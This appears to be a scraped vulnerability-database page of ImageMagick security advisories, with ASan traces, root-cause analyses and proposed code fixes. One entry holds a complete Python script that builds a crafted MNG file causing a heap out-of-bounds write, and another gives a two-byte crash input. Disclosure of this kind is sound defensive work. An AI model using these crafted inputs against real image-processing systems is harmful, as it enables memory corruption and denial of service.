0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392 #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404) Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027 This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING ``` ### Affected Code In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; /*--------Affected--------*/ (void) FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-field_width); /*--------Affected--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` ## Technical Analysis This vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`. The format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`. The `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`. The constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures. As a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability. This causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`. ## Proposed Fix In `MagickCore/image.c`, within the `InterpretImageFilename()` function: ```c MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... /*--------Changed--------*/ ssize_t field_width, offset, written; // Added /*--------Changed--------*/ ... for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } field_width=0; if (*q == '0') field_width=(ssize_t) strtol(q,&q,10); switch (*q) { case 'd': case 'o': case 'x': { q++; c=(*q); *q='\0'; written = FormatLocaleString(filename+(p-format-offset),(size_t) (MagickPathExtent-(p-format-offset)),p,value); /*--------Changed--------*/ if (written <= 0 || written > (MagickPathExtent - (p - format - offset))) return 0; offset += (ssize_t)((q - p) - written); /*--------Changed--------*/ *q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if (*(q-1) != '%') break; p++; break; } case '[': { ... } default: break; } } ``` - By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained. - Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants. - Range checking of `written` allows detection of vsnprintf failures and excessive writes. ### Commits Fixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e |
Affected by 74 other vulnerabilities. |
|
VCID-a2qm-vkc3-qkd5
Aliases: CVE-2025-55160 GHSA-6hgw-6x87-578x |
ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree ## Summary - **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`) - **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback - **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact. - **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing. ## Environment OS: macOS (Apple Silicon/arm64) Homebrew clang version 20.1.8 Target: arm64-apple-darwin24.5.0 Thread model: posix InstalledDir: /opt/homebrew/Cellar/llvm/20.1.8/bin Configuration file: /opt/homebrew/etc/clang/arm64-apple-darwin24.cfg Homebrew ImageMagick: `magick -version` → `ImageMagick 7.1.2-0 Q16-HDRI aarch64` pkg-config: `MagickWand-7.Q16HDRI` version `7.1.2` Library configure flags (capsule build): ./configure --disable-shared --enable-static --without-modules --without-magick-plus-plus --disable-openmp --without-perl --without-x --with-png=yes --without-jpeg --without-tiff --without-xml --without-lqr --without-gslib Harness compile flags: -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer pkg-config cflags/libs supplied: -I<...>/include/ImageMagick-7 -DMAGICKCORE_HDRI_ENABLE=1 -DMAGICKCORE_QUANTUM_DEPTH=16 -DMAGICKCORE_CHANNEL_MASK_DEPTH=32 and linked against MagickWand-7.Q16HDRI and MagickCore-7.Q16HDRI Sanitizer runtime: ASan+UBSan defaults. Repro also with `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1` ## PoC - **Bytes (hex):** `1c 02` - **Base64:** `HAI=` - **sha256 (optional):** <fill in> ## Reproduction Create PoC: `printf '\x1c\x02' > poc.bin` Option A: libFuzzer harness - Run once: `./harness_ImageMagick_... -runs=1 ./poc.bin` - Expected: UBSan aborts with function-type-mismatch at `MagickCore/splay-tree.c:372:43`. Option B: standalone reproducer (C) - Compile (ensure `PKG_CONFIG_PATH` points to your ImageMagick if needed): /opt/homebrew/opt/llvm/bin/clang -g -O1 -fsanitize=address,undefined $(/opt/homebrew/bin/pkg-config --cflags MagickWand-7.Q16HDRI) repro.c -o repro $(/opt/homebrew/bin/pkg-config --libs MagickWand-7.Q16HDRI) - Run: UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 ./repro ./poc.bin Observed output (excerpt) MagickCore/splay-tree.c:372:43: runtime error: call to function ConstantString through pointer to incorrect function type 'void *(*)(void *)' string.c:680: note: ConstantString defined here #0 CloneSplayTree splay-tree.c:372 #1 CloneImageProfiles profile.c:159 #2 CloneImage image.c:832 #3 CoalesceImages layer.c:269 #4 MagickCoalesceImages magick-image.c:1665 #5 main repro.c:XX Root cause The splay tree clone callback expects a function pointer of type `void *(*)(void *)`. ConstantString has a different signature (`char *ConstantString(const char *)`). Calling through the mismatched function type is undefined behavior in C and triggers UBSan’s function-type-mismatch. The path is exercised during coalescing: CloneImage → CloneImageProfiles → CloneSplayTree. Scope Reproduces with a minimal, sanitizer-instrumented, PNG-enabled build and delegates disabled (policy.xml), suggesting the issue is in MagickCore rather than external delegates. Suggested fix (sketch) Use a wrapper that matches the expected callback prototype, or adjust the splay-tree callback typedef for const-correctness. For example: static void *CloneStringShim(const void *p) { return (void *) ConstantString((const char *) p); } /* When setting splay-tree clone_value, use CloneStringShim instead of ConstantString. */ Alternatively, update the clone callback typedefs to use const void* consistently (and return void*) and ensure callers pass a correctly typed wrapper. Artifacts Minimised PoC: attached (poc.bin, 2 bytes; base64 HAI=) Harness source and exact build command (attached) Full UBSan trace (attached) Commit SHA and configure flags (above) Credits Discovered by: Lumina Mescuwa Method: libFuzzer + UBSan Verification - UBSan build: Reproduces with `halt_on_error=1`; aborts at `MagickCore/splay-tree.c:372`. - Non-sanitized Homebrew build (macOS arm64, clang 20.1.8): No crash; repro completes silently. |
Affected by 71 other vulnerabilities. |
|
VCID-acsa-1uwk-fqee
Aliases: CVE-2026-24481 GHSA-96pc-27rx-pr36 |
ImageMagick has Possible Heap Information Disclosure in PSD ZIP Decompression ### Description A heap information disclosure vulnerability exists in ImageMagick's PSD (Adobe Photoshop) format handler. When processing a maliciously crafted PSD file containing ZIP-compressed layer data that decompresses to less than the expected size, uninitialized heap memory is leaked into the output image. ### Expected Impact Information disclosure leading to potential exposure of sensitive data from server memory. |
Affected by 18 other vulnerabilities. |
|
VCID-anyp-2jr7-73a1
Aliases: GHSA-2gq3-ww97-wfjm |
ImageMagick has a possible heap Use After Free vulnerability in its meta coder A heap Use After Free vulnerability exists in the meta coder when an allocation fails and a single byte is written to a stale pointer. ``` ==535852==ERROR: AddressSanitizer: heap-use-after-free on address 0x5210000088ff at pc 0x5581bacac14d bp 0x7ffdf667edf0 sp 0x7ffdf667ede0 WRITE of size 1 at 0x5210000088ff thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-b43n-3d1g-u3fe
Aliases: CVE-2025-68950 GHSA-7rvh-xqp3-pr8j |
ImageMagick's failure to limit MVG mutual causes Stack Overflow Magick fails to check for circular references between two MVGs, leading to a stack overflow. |
Affected by 64 other vulnerabilities. |
|
VCID-b5pd-kk97-gban
Aliases: CVE-2026-24484 GHSA-wg3g-gvx5-2pmv |
ImageMagick: Converting multi-layer nested MVG to SVG can cause DoS Magick fails to check for multi-layer nested mvg conversions to svg, leading to DoS. |
Affected by 18 other vulnerabilities. |
|
VCID-bd1g-sfsp-37h7
Aliases: CVE-2026-25967 GHSA-72hf-fj62-w6j4 |
ImageMagick: Stack buffer overflow in FTXT reader via oversized integer field ### Summary A stack-based buffer overflow exists in the ImageMagick FTXT image reader. A crafted FTXT file can cause out-of-bounds writes on the stack, leading to a crash. ``` ================================================================= ==3537074==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee4850ef0 at pc 0x5607c408fb33 bp 0x7ffee484fe50 sp 0x7ffee484fe40 WRITE of size 1 at 0x7ffee4850ef0 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-bw4q-dt1r-y3e4
Aliases: CVE-2026-30931 GHSA-h95r-c8c7-mrwx |
ImageMagick has heap-based buffer overflow in UHDR encoder A heap-based buffer overflow in the UHDR encoder can happen due to truncation of a value and it would allow an out of bounds write. ``` ================================================================ ==2158399==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000039500 at pc 0x562a4a42f968 bp 0x7ffcca4ed6c0 sp 0x7ffcca4ed6b0 WRITE of size 1 at 0x521000039500 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-cbqr-aybx-d3e6
Aliases: CVE-2026-25983 GHSA-fwqw-2x5x-w566 |
ImageMagick has Use After Free in MSLStartElement in "coders/msl.c" A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing. |
Affected by 18 other vulnerabilities. |
|
VCID-cuhw-ew1g-s3h2
Aliases: CVE-2026-28687 GHSA-fpvf-frm6-625q |
ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder A heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file. ``` ================================================================= ==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150 READ of size 8 at 0x527000011550 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-d8yf-8rff-3yhf
Aliases: CVE-2026-26283 GHSA-gwr3-x37h-h84v |
ImageMagick has a possible infinite loop in its JPEG encoder when using `jpeg:extent` A `continue` statement in the JPEG extent binary search loop in the jpeg encoder causes an infinite loop when writing persistently fails. An attacker can trigger a 100% CPU consumption and process hang (Denial of Service) with a crafted image. |
Affected by 18 other vulnerabilities. |
|
VCID-dabd-m3mf-3ker
Aliases: CVE-2026-30935 GHSA-cqw9-w2m7-r2m2 |
ImageMagick has Heap Buffer Over-Read in BilateralBlurImage BilateralBlurImage contains a heap buffer over-read caused by an incorrect conversion. When processing a crafted image with the `-bilateral-blur` operation an out of bounds read can occur. ``` ================================================================= ==676172==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a0000079c0 at pc 0x57b483c722f7 bp 0x7fffc0acd380 sp 0x7fffc0acd370 READ of size 4 at 0x50a0000079c0 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-dtza-65ku-aber
Aliases: CVE-2026-25795 GHSA-p33r-fqw2-rqmm |
ImageMagick has NULL pointer dereference in ReadSFWImage after DestroyImageInfo (sfw.c) In `ReadSFWImage()` (`coders/sfw.c`), when temporary file creation fails, `read_info` is destroyed before its `filename` member is accessed, causing a NULL pointer dereference and crash. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1414421==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x56260222912f bp 0x7ffec0a193b0 sp 0x7ffec0a19360 T0) #0 0x56260222912f (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x235f12f) ``` |
Affected by 18 other vulnerabilities. |
|
VCID-ef36-52cx-dfg5
Aliases: CVE-2025-55154 GHSA-qp29-wxp5-wh82 |
imagemagick: integer overflows in MNG magnification ## **Vulnerability Details** The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption. The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured. ```c static Image *ReadOneMNGImage(MngReadInfo* mng_info, const ImageInfo *image_info,ExceptionInfo *exception) { // Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command. if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; // Details unimportant, but each of the `magn_xxx` variables is read from the file. if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } // Details unimportant, we load the image to be scaled and store it in `image` if (mng_type) { MngBox crop_box; if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) && ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5))) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (image->columns == 1) mng_info->magn_methx = 1; if (image->rows == 1) mng_info->magn_methy = 1; if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; // [0] if (image->columns > 1) magnified_width += mng_info->magn_mr; // [1] if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); // [2] } // Different cases handle available scaling kinds, all of which have similar issues... // We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // `magnified_width * magnified_height`. if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; // Snip... large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; // In between here, we allocate the pixel buffer for `large_image`. /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); // [3] ``` If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required. When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds. This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation. Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`). ## **Affected Version(s)** Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0). ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write. ``` import struct import zlib def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc) # MNG signature mng_signature = b'\x8aMNG\r\n\x1a\n' # --- Dimensions --- mhdr_width = 1 mhdr_height = 1 ihdr_width = 65538 # W: Original width to cause W' overflow ihdr_height = 1 # H: Original height # MHDR chunk (Valid small dimensions) mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0) mhdr_chunk = create_chunk(b'MHDR', mhdr_data) # MAGN chunk: Trigger width overflow, force entry via height magn magn_first = 0 magn_last = 0 magn_methx = 1 magn_mx = 65535 # -> magnified_width = 65534 (overflow) magn_my = 2 # -> magnified_height = 2 (magn_mt=2) magn_ml = 65535 magn_mr = 65535 magn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path) magn_mb = 1 magn_methy = 1 magn_data = struct.pack('>HHBHHHHHHB', magn_first, magn_last, magn_methx, magn_mx, magn_my, magn_ml, magn_mr, magn_mt, magn_mb, magn_methy) magn_chunk = create_chunk(b'MAGN', magn_data) # IHDR chunk ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data) # IDAT chunk (Minimal data for W x H grayscale pixels) scanline = b'\x00' + (b'\x00' * ihdr_width) compressed_scanline = zlib.compress(scanline) idat_chunk = create_chunk(b'IDAT', compressed_scanline) # IEND chunk iend_chunk = create_chunk(b'IEND', b'') # MEND chunk mend_chunk = create_chunk(b'MEND', b'') program_input = ( mng_signature + mhdr_chunk + magn_chunk + ihdr_chunk + idat_chunk + iend_chunk + mend_chunk ) print(f"Generated MNG size: {len(program_input)} bytes") with open("magn_write.mng", "wb") as tmp: tmp.write(program_input) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) 0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING ``` ## **Reporter Credit** Google Big Sleep |
Affected by 71 other vulnerabilities. |
|
VCID-emmr-15qp-vfah
Aliases: CVE-2026-25898 GHSA-vpxv-r9pg-7gpr |
ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer The UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. ``` READ of size 1 at 0x55a8823a776e thread T0 #0 0x55a880d01e85 in WriteUILImage coders/uil.c:355 ``` ``` READ of size 1 at 0x55fa1c04c66e thread T0 #0 0x55fa1a9ee415 in WriteXPMImage coders/xpm.c:1135 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-f1zu-xb4j-8qhp
Aliases: CVE-2026-25987 GHSA-42p5-62qq-mmh7 |
ImageMagick has a heap buffer over-read in its MAP image decoder A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding. ``` ================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-fnck-7mvx-hqc9
Aliases: CVE-2026-27799 GHSA-r99p-5442-q2x2 |
ImageMagick has a heap Buffer Over-read in its DJVU image format handler A heap Buffer Over-read vulnerability exists in the DJVU image format handler. The vulnerability occurs due to integer truncation when calculating the stride (row size) for pixel buffer allocation. The stride calculation overflows a 32-bit signed integer, resulting in an out-of-bounds memory reads. |
